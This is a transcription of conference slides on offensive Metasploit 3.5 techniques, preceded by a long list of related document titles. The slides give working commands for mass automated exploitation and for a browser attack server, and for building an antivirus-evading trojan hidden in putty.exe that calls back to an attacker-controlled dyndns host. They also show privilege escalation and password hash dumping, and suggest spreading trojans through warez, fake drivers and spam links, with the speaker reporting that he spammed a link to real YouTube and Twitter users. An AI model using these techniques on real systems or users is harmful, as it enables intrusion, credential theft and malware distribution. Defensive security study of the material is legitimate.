Mass Pwnage 4 Dummies. Latest pen-testing tricks using Metasploit

Similar documents
Penetration Testing with Kali Linux

Vulnerability Assessment and Penetration Testing

Automated Penetration Testing with the Metasploit Framework. NEO Information Security Forum March 19, 2008

Maintaining Access CHAPTER 10 CHAPTER OVERVIEW AND KEY LEARNING POINTS INTRODUCTION INFORMATION IN THIS CHAPTER

Course Duration: 80Hrs. Course Fee: INR (Certification Lab Exam Cost 2 Attempts)

Comprehensive Malware Detection with SecurityCenter Continuous View and Nessus. February 3, 2015 (Revision 4)

How to hack a website with Metasploit

Penetration Testing Report Client: Business Solutions June 15 th 2015

AUTHOR CONTACT DETAILS

Security Threat Kill Chain What log data would you need to identify an APT and perform forensic analysis?

Penetration Testing - a way for improving our cyber security

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

Exploiting Transparent User Identification Systems

COURSE NAME: INFORMATION SECURITY INTERNSHIP PROGRAM

CYBERTRON NETWORK SOLUTIONS

In the recent past, there were several computer-based

Certified Ethical Hacker Exam Version Comparison. Version Comparison

Kautilya: Teensy beyond shells

Network Penetration Testing and Ethical Hacking Scanning/Penetration Testing. SANS Security Sans Mentor: Daryl Fallin

Automating Linux Malware Analysis Using Limon Sandbox Monnappa K A monnappa22@gmail.com

Contents Who Should Read this Book... 3 Credits:... 3 Introduction and background... 3 Lab Setup... 3 A primer on windows user privileges...

CRYPTUS DIPLOMA IN IT SECURITY

FORENSIC ARTIFACTS FROM A PASS THE HASH (PTH) ATTACK BY: GERARD LAYGUI

Internal Penetration Test

Lab 7 - Exploitation 1. NCS 430 Penetration Testing Lab 7 Sunday, March 29, 2015 John Salamy

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Ethical Hacking Course Layout

Attack Frameworks and Tools

Metasploit Unleashed. Class 2: Information Gathering and Vulnerability Scanning. Georgia Weidman Director of Cyberwarface, Reverse Space

Automation of Post-Exploitation

Web Application Worms & Browser Insecurity

Locking down a Hitachi ID Suite server

How We're Getting Creamed

FORBIDDEN - Ethical Hacking Workshop Duration

Quick Start Guide to Ethical Hacking

Learn Ethical Hacking, Become a Pentester

Metasploit Lab: Attacking Windows XP and Linux Targets

Detailed Description about course module wise:

(maybe?)apt1: technical backstage

STABLE & SECURE BANK lab writeup. Page 1 of 21

Metasploit ing the target machine is a fascinating subject to all security professionals. The rich list of exploit codes and other handy modules of

Audience. Pre-Requisites

WordPress Security Scan Configuration

ZeroAccess. James Wyke. SophosLabs UK

Hack Your SQL Server Database Before the Hackers Do

Honeypots & Honeynets Overview. Adli Wahid Security Specialist, APNIC.net adli@apnic.net


60467 Project 1. Net Vulnerabilities scans and attacks. Chun Li

1. LAB SNIFFING LAB ID: 10

Actuality of SMBRelay in Modern Windows Networks

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

PTSv2 in pills: The Best First for Beginners who want to become Penetration Testers. Self-paced, online, flexible access

Metasploit Pro Getting Started Guide

CEH Version8 Course Outline

Malicious Network Traffic Analysis

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

CS 558 Internet Systems and Technologies

FortiWeb 5.0, Web Application Firewall Course #251

Security Guide. BlackBerry Enterprise Service 12. for ios, Android, and Windows Phone. Version 12.0

Loophole+ with Ethical Hacking and Penetration Testing

Storm Worm & Botnet Analysis

Build Your Own Security Lab

Criteria for web application security check. Version

Pwning Intranets with HTML5

Security Awareness For Website Administrators. State of Illinois Central Management Services Security and Compliance Solutions

Conducting Web Application Pentests. From Scoping to Report For Education Purposes Only

Dumping Windows Password Hashes Using Metasploit

Advancements in Botnet Attacks and Malware Distribution

WHITEPAPER. Nessus Exploit Integration

Black Box Penetration Testing For GPEN.KM V1.0 Month dd "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383;!

Ethical Hacking and Information Security. Foundation of Information Security. Detailed Module. Duration. Lecture with Hands On Session: 90 Hours

The Value of Physical Memory for Incident Response

Penetration Testing Using The Kill Chain Methodology

Alert (TA14-212A) Backoff Point-of-Sale Malware

Virtually Pwned Pentesting VMware. Claudio

NEXPOSE ENTERPRISE METASPLOIT PRO. Effective Vulnerability Management and validation. March 2015

Five Steps to Improve Internal Network Security. Chattanooga Information security Professionals

ASL IT SECURITY XTREME XPLOIT DEVELOPMENT

Course Content Summary ITN 261 Network Attacks, Computer Crime and Hacking (4 Credits)

From Georgia, with Love Win32/Georbot. Is someone trying to spy on Georgians?

Enterprise Incident Response: Network Intrusion Case Studies and Countermeasures

Introduction to Web Security

Armitage. Part 1. Author : r45c4l Mail : infosecpirate@gmail.com.

ANNEXURE-1 TO THE TENDER ENQUIRY NO.: DPS/AMPU/MIC/1896. Network Security Software Nessus- Technical Details

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

Medical Device Security Health Imaging Digital Capture. Security Assessment Report for the Kodak DryView 8150 Imager Release 1.0.

Protecting Your Organisation from Targeted Cyber Intrusion

Professional Penetration Testing Techniques and Vulnerability Assessment ...

Sandy. The Malicious Exploit Analysis. Static Analysis and Dynamic exploit analysis. Garage4Hackers

TAKING SECURITY TESTING TO THE NEXT LEVEL 5 MAY 2014 STAN HEGT

INFORMATION SECURITY TRAINING CATALOG (2015)

Security A to Z the most important terms

2016 TÜBİTAK BİLGEM Cyber Security Institute

Transcription:

Mass Pwnage 4 Dummies Latest pen-testing tricks using Metasploit

What this talk will cover Quick Background Latest Metasploit 3.5 features Automated Attacking even a cave man could do it. Compromising in Mass (Random) Bypassing A/V (Generating a Trojan) The Undetectable Attack Compromising in Mass (Targeted) Defense methods open debate

Quick Background MSF (Metasploit Framework) Created by Texas native HD Moore originally as a perl based hacking game in 2003 it's now the most popular open source security framework. Commercial alternatives are: Canvas, Core Impact and Rapid7 which recently purchased and commercially forked Metasploit. The BSD License open source project will still remain supported and developed.

Metasploit 3.5 released 613 exploits available, 306 auxiliary modules, 215 payloads Java based GUI using xml-rpc API New automation, scripting capabilities Java based Meterpreter New Railgun feature Ipv6 over ipv4 payload connect (toredo) Meterpreter rev_https tcp connect payload (new to 3.4) Support for DNS in LHOSTS (new to 3.4) Post exploitation plugins (priv escalation, hashdump), brute forcing from meterper (new to 3.4) Msfencode packing to binaries (new to 3.4)

Automated attack 1: db_autopwn DB_AUTOPWN, uses nmap to scan a range of IP's save to a database and then try all matching exploits based on OS and port/service. msf > db_connect test.db [*] Successfully connected to the database [*] File: test.db msf > db_nmap -sv -O 192.168.1.0/24 msf > db_autopwn -t -e Attacks all hosts with potentially vulnerable open ports (thats it!) But this is sooooo 2006...

Automated attack 2: browser_autopwn BROWSER_AUTOPWN is the defacto automated attack plugin, javascript browser and plugin version detections helps accuracy, one link to rule them all muahahha. msf > use server/browser_autopwn msf auxiliary(browser_autopwn) > gset LHOST clickmeplz.dyndns.org msf > set payload windows/meterpreter/reverse_tcp Msf > exploit [*] Using URL: http://0.0.0.0:8080/t5lzfm5y0z [*] Local IP: http://192.168.1.70:8080/t5lzfm5y0z [*] Server started. Now to distribute the link... http://192.168.1.70:8080/t5lzfm5y0z

Compromising in Mass (Random) 1: Have public access to your metasploit reverse payload via dynamic dns service such as free dyndns.org and use the new LHOST /w DNS support feature. 2. Port forward your payload back clickm3plz.dyndns.org:443 192.168.1.100:4444 3. URL shorten your browser_pwn link for obsfucation: http://clickm3plz.dyndns.org/t5lzfm5y0z http://tinyurl.com/23mjb2q 4. Distribute This is essentially how bad guys are building botnets right now.

What ways could *you* think of to distribute the link?

Ballad of Clickmylinkplz Used a dummy landing page with simple javascript browser detection code and Google analytics to record my bit.ly and tiny.url spam. In 2 days of research I found the following: Youtube: 492 visitors clicked my link, ~40% used vulnerable browsers. Twitter: 66 visitors clicked my link, ~27% used vulnerable browsers. Most vulnerable browser still used: MS IE 6

Intro to Meterpreter Advanced payload originally designed for Windows but now supports various operating systems. Meterpreter can run as a service or a standalone hidden user process. Meterpreter allows advanced post exploitation control and scripting on compromised systems, some features are but not limited to: Key Logging, Screen Shot, Control of Mouse/Keyboard, Privilege escalation, Memory dump, Hash grabbing, Pivoting attacks such as hash passing.

Bypassing A/V Metasploit has a feature to generate and pack payloads such as Meterpreter directly into binaries. (Build your own trojan) Msfpayload creates the binary Msfencode packs binary to evade A/V signature matching Msfencode can attach to existing binaries to further avoid detection such putty.exe./msfpayload windows/meterpreter/reverse_https LHOST= symantec32.dyndns.org R./msfencode -t exe > winzip.exe Notice you can embed hostnames into the binary

Checking Virus total Uploaded simple msfencoded binary to Virus Total

Which products missed this simple packed binary: Avast Clam-AV Fortinet Kapersky Microsoft nprotect Symantec Trend Micro Some of these are corporate desktop standards.

Packing binaries Packing has been used for years to obsfucate malware binaries by introducing entropy (randomness) and compression Metasploit by default uses the shikata_gai_nai a polymorphic XOR additive feedback encoder (fancy name for packer algo) and Japanese for Nothing can be done. My testing shows that shikata_gai_nai with 2 interations can avoid over 90% of A/V signatures.

Enhancing evasion Turn up the packing algorithm passes or tagging to a legit binary can reduce the Virus Total matches signifcantly../msfpayload windows/meterpreter/reverse_https LHOST=symantec20.dyndns.org R./msfencode -t exe -x../downloads/putty.exe -k -o newputty.exe -e x86/shikata_ga_nai -c 5 When binary is run on the target machine, meterpreter will execute and hide in the background and real putty.exe will also run fooling the user into thinking everything is fne.

Checking Virus total again Single pass packed and attached to putty.exe 8/41 That is an interesting difference!

Random Malicious Binary Distribution Added to Bittorrent as desirable warez (cracked winzip) Linked in blog comments, social networks Repackaged as hard to fnd windows device driver (popular printer driver) Uploaded to popular discussion forum as latest free game hacking tool Attached to email... This is the other way botnet's are born!

Post compromise fun (Meterpreter) meterpreter > use priv Loading extension priv success. meterpreter > getsystem -t 1 got system (via technique 1). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

Hashdump script nabs the NT HASHS [*] Meterpreter session 1 opened meterpreter > getuidserver username: NT AUTHORITY\SYSTEM meterpreter > run hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 3ed7[...] [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404 ee:... Guest:501:aad3b435b51404eeaad3b435b51404ee:... HelpAssistant:1000:ce909bd50f46021bf4aa40680422f6 46:... SUPPORT_388945a0:1002:aad3b435b51404eeaad3b4 35b51404ee:...::

Cracking the NTHASH w/ GPU bash-3.2#./cuda-multiforcer Cryptohaze.com CUDA Multiforcer (multiple hash brute forcer) by Bitweasil Version 0.61 beta, length 0-14 Currently supported hash types: MD5 MD4 NTLM Brute force the NTHASH in minutes/hours using your $200 video graphics card. How fast is it?

Pyrit CUDA GPU Cracking

Pivoting Since version 3.4 Meterpreter infected hosts support nmaping and brute forcing to easily pivot from a non-critical compromised workstation to an organizations most critical systems. SMB, MySQL, Postgres, Microsoft SQL Server, DB2, Telnet, SSH, Tomcat, and generic HTTP servers Other pivoting options such as passing the hash allow you to try to authenticate on other Windows hosts using stolen hashes through SMB/CIFS.

Meterpreter for Java and PHP Meterpreter has been ported and into PHP as of June 14 2010 for easy exploitation of vulnerable websites/servers. In addition Iphone (arm), Linux and Java meterpreter payloads. Full support for within Metasploit SVN for remote code injection into everyone favorite vulnerable web development language.

Railgun New in 3.5 is Railgun an addon which gives You full Windows API access from Meterpreter, currently the Following DLL's are supported. * iphlpapi * ws2_32 * kernel32 * ntdll * user32 * advapi32 Weird things now possible with Railgun: force log out of active user And Keylog while logging back in.

The undetectable attack... Scarce A/V protection when Meterpreter is heavily packed IDS, IPS can't see into HTTPS No frewall blocks outbound HTTPS Multiple infection vectors, web, email, pdf, man-in-middle, PHP injection How do we defend?

Thanks! Twitter: @gregcmartin Blog: infosec20.blogspot.org